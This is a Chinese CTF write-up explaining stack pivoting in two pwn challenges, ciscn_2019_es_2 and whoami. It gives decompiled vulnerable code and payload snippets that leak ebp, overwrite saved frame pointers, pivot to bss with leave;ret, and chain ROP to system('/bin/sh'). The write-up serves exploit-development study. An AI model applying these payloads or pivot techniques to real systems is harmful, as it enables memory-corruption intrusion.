两道典型的栈迁移

  1. ciscn_2019_es_2 & libc
  2. whoami & libc

ciscn_2019_es_2

漏洞处:

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

显然需要泄漏ebp的位置,然后栈迁移,然后ROP

printf的格式化字符串漏洞,可以泄漏ebp的位置,通过末尾非\x00来泄漏ebp的位置

1
2
pay1='a'*0x20+'b'*8
sa('name?\n',pay1)

由于32位,故取4字节

关键是构造第二次的payload,不过我们有system的地址,所以可以直接ROP

1
2
3
pl2=(b'a'*8+p32(ebp-0x24)+#'cccc'address
b'bbbb'+p32(sys_add)+b'cccc'+p32(ebp-0x1c)+#'binsh'address
b'/bin/sh\x00').ljust(0x28,b'p')+p32(ebp-0x2c)#'bbbb'address

实质上是将s高地址部分充分利用

首先看p32(ebp-0x2c)部分:目的是将ebp恢复至'bbbb'的地址,之后程序返回到main,并继续恢复栈帧,此时返回地址即为system的地址,故system('/bin/sh')即可

至于ebp的偏移量,则是动态调试得出结果

完整exp

whoami

题目:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

sub_4006E8(a1, a2, a3);
sub_400746();
puts("Input name:");
read(0, buf, 0x30uLL);
puts("Else?");
read(0, &unk_601040, 0xF0uLL);
return 0LL;
}

其中unk_601040为未初始化全局变量,在bss段,它就是目标栈

咱首先得在buf处铺垫好

1
2
3
4
payload1 = b'A'*0x20
payload1 += p64(bss_addr+0xc0)
payload1 += p64(leave_ret)
sa('name:', payload1)

Line3的目的是在main返回后返回到unk_601040

然后没有system,需要泄漏libc,然后ROP

完整exp